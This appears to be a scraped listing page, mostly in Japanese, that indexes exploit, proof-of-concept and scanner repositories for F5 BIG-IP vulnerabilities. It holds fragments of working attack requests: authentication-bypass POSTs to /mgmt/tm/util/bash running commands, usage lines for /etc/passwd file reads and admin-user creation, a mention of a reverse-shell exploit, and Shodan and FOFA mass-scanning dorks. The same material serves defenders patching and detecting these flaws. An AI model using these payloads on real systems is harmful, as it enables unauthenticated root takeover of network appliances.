checker-CVE-2020-5902

Checker CVE-2020-5902 Checker CVE-2020-5902: BIG-IP versions 15.0.0 through 15.1.0.3, 14.1.0 through 14.1.2.5, 13.1.0 through 13.1.3.3, 12.1.0 through 12.1.5.1, and 11.6.1 through 11.6.5.1 suffer from Traffic Management User Interface TMUI arbitrary file read and command execution vulnerabilities...

CVE-2022-1388-EXP

F5 BIG-IP RCE Check check： CVE-2022-1388 F5 BIG-IP RCE 一括検出 exp： 注：expは CVE-2021-22986 に基づいて変更しました！...

CVE-2022-1388

CVE-2022-1388 - F5 BIG-IP iControl REST 認証バイパス RCE このPythonスクリプトは、CVE-2022-1388 を悪用します。CVE-2022-1388 は、F5 BIG-IP iControl REST における重大な脆弱性であり、不適切なアクセス制御とHTTPヘッダー処理により、認証されていないリモートコマンド実行 を可能にします。 ⚠️ 教育目的および許可されたセキュリティ研究のみを対象としています。所有していないシステム、または明示的なテスト許可を得ていないシステムに対して使用しないでください。 脆弱性の概要 CVE ID:...

CVE-2020-5902

CVE-2020-5902 F5 Big-IP CVE-2020-5902 を悪用する Python スクリプト 例 ローカルファイル読み取りの悪用: python3 CVE-2020-5902.py -t example.com -x lfr -f /etc/passwd RCE の悪用: python3 CVE-2020-5902.py -t example.com -x rce -a list+auth+user+admin...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP iControl REST認証バイパス脆弱性 オプション引数: -h, --help show this help message and exit -u url, --url url Target url eg:"http://127.0.0.1" -f file, --file file Targets in file eg:"ip.txt" 使用法 python3 CVE-2022-1388.py -u http://127.0.0.1 python3 CVE-2022-1388.py -f ip.txt リンク...

CVE-2020-5902

CVE-2020-5902 F5 BIG-IP Traffic Management User Interface TMUI リモートコード実行 BIG-IP バージョン 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, 11.6.1-11.6.5.1 において、Traffic Management User Interface TMUI 別名 Configuration utility の未公開ページにリモートコード実行 RCE の脆弱性が存在します。...

F5-BIG-IP-SmuggleShell-CVE-2023-46747-Exploit

F5 BIG-IP CVE-2023-46747 – 認証なしRCE + リバースシェル Python3 & Nuclei バージョン – raguraman 作 AJP + HTTPリクエストスモグリングを介した重大な認証なしRCE CVSS 9.8 未パッチのすべてのBIG-IP 13.x → 17.x 最新の17.1.0.3を含む で動作 パッチ: https://my.f5.com/manage/s/article/K000137353 2023年11月 実環境でのエクスプロイト解説: 👉...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 F5 BIG-IP iControl REST 인증 우회 RCE. root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: / Connection: close, X-F5-Auth-Token, X-Forwarded-For, Local-Ip-From-Httpd, X-F5-New-Authtok-Reqd, X-Forwarded-Server, X-Forwarded-Host...

CVE-2021-22986

脆弱性の影響 この脆弱性により、認証されていない攻撃者が、BIG-IP管理インターフェースおよび自己IPアドレスを介してiControl RESTインターフェースにネットワークアクセスすることで、任意のシステムコマンドの実行、ファイルの作成・削除、サービスの無効化が可能になります。この脆弱性はコントロールプレーンを介してのみ悪用可能であり、データプレーンを介して悪用することはできません。悪用されるとシステム全体が侵害される可能性があります。アプライアンスモードのBIG-IPシステムも脆弱です。 影響を受ける製品 F5 BIG-IQ 6.0.0-6.1.0 F5 BIG-IQ...

CVE-2022-1388_PoC

F5 BIG-IP RCE 漏洞利用 CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl 命令行： root@kitploit: $ curl -i -s -k -X $'POST' \ -H...

CVE-2022-1388-Exploit-POC

CVE-2022-1388 エクスプロイト POC F5 BIG IP root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic YWRtaW46aG9yaXpvbjM=...

CVE-2021-22986

CVE-2021-22986 F5 BIG-IP/BIG-IQ iControl Rest API SSRF から RCE へ 使い方: root@kitploit: python CVE-2021-22986.py...

CVE-2020-5902-Scanner

CVE-2020-5902-Scanner F5 BIG-IP スキャナー（CVE-2020-5902）用の自動スクリプトで、Shodan API から取得したホストを使用します。このスクリプトを使用するには Shodan アカウントが必要です。Shodan アカウントをお持ちでない場合は、こちらをクリックしてください。 インストール 1. 依存関係をインストールします。 root@kitploit: CentOS & Fedora sudo yum install git python3 -y Ubuntu & Debian sudo apt install git python3...

CVE-2020-5902-fofa-scan

CVE-2020-5902-fofa-scan 紹介 F5 BIG-IP リモートコード実行脆弱性CVE-2020-5902のfofaスキャンスクリプト 利用条件 fofa会員、fofaproarssessionの値を入力してください。 12行目のkeywordの値を自分で修正してください。 17行目のページ範囲を自分で修正してください。...

CVE-2025-20029-simulation

🔐 可重放攻击模拟 – CVE-2025-20029 ⚠️ 本仓库在安全可控的环境 中模拟 CVE-2025-20029。 它不会 与真实的 F5 BIG-IP 系统交互或利用任何生产服务。 目标是教育性的：研究漏洞模式并安全地测试负载。 🛠 关于 CVE-2025-20029 CVE-2025-20029 是一个影响 F5 BIG-IP 系统的高危命令注入漏洞。 问题出在 iControl REST API ，在某些配置下，允许经过身份验证的用户通过 /mgmt/tm/util/bash 端点执行任意系统命令。 影响： 远程代码执行（RCE）以 root 权限 需要身份验证：...

f5scan

f5scan F5 BIG IP Scanner for CVE-2020-5902 by bt0 脆弱性の詳細: https://support.f5.com/csp/article/K52145254?sf235665517=1 必要条件: python3+ shodan colorama urlopen pyOpenSSL $ pip3 install -r requirements オプション root@kitploit: -h, --help show this help message and exit -H HOST, --host HOST IP or Hostname ...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 用の Nuclei テンプレート。PoC には shadow ファイルを使用しましたが、passwd '/etc/passwd' ファイルも使用できます。お好みに応じて Extractor を変更してください。 POC 参考: https://support.f5.com/csp/article/K23605346...

CVE-2022-1388-Exploit

CVE-2022-1388-Exploit CVE-2022-1388（F5 Big-IP）のテストおよびエクスプロイトスクリプト masscheck.pyは、ファイル入力を受け取り、エクスプロイトを行わずにホストが脆弱かどうかをチェックします。 検出: エンドポイントとして/mgmt/tm/util/bashをスキャンします。これはWebサーバーのログに残る可能性があります。または、F5をお持ちの場合はパッチを適用してください。影響を受けるバージョンは以下に示されており、パッチはこちらから入手可能です https://support.f5.com/csp/article/K236053...

CVE-2020-5902

CVE-2020-5902 CVE-2020-5902 F5 BIG-IP の自動エクスプロイト RCE RCE + ファイル読み取り Dorks : http.title:"BIG-IP®- Redirect" shodan.io を使用...

CVE-2022-1388

CVE-2022-1388-Exploit CVE 2022-1388のエクスプロイトとチェックスクリプト 使用方法 単一のホストURLに対してチェックするには root@kitploit: python3 exploit.py -v true -u targeturl ホストを攻撃し、そのホスト上でコマンドをテストするには root@kitploit: python3 exploit.py -a true -u targeturl -c command ホストのリストを攻撃するか、ホストURLのIPアドレスが記載されたファイルを指定する root@kitploit: python3...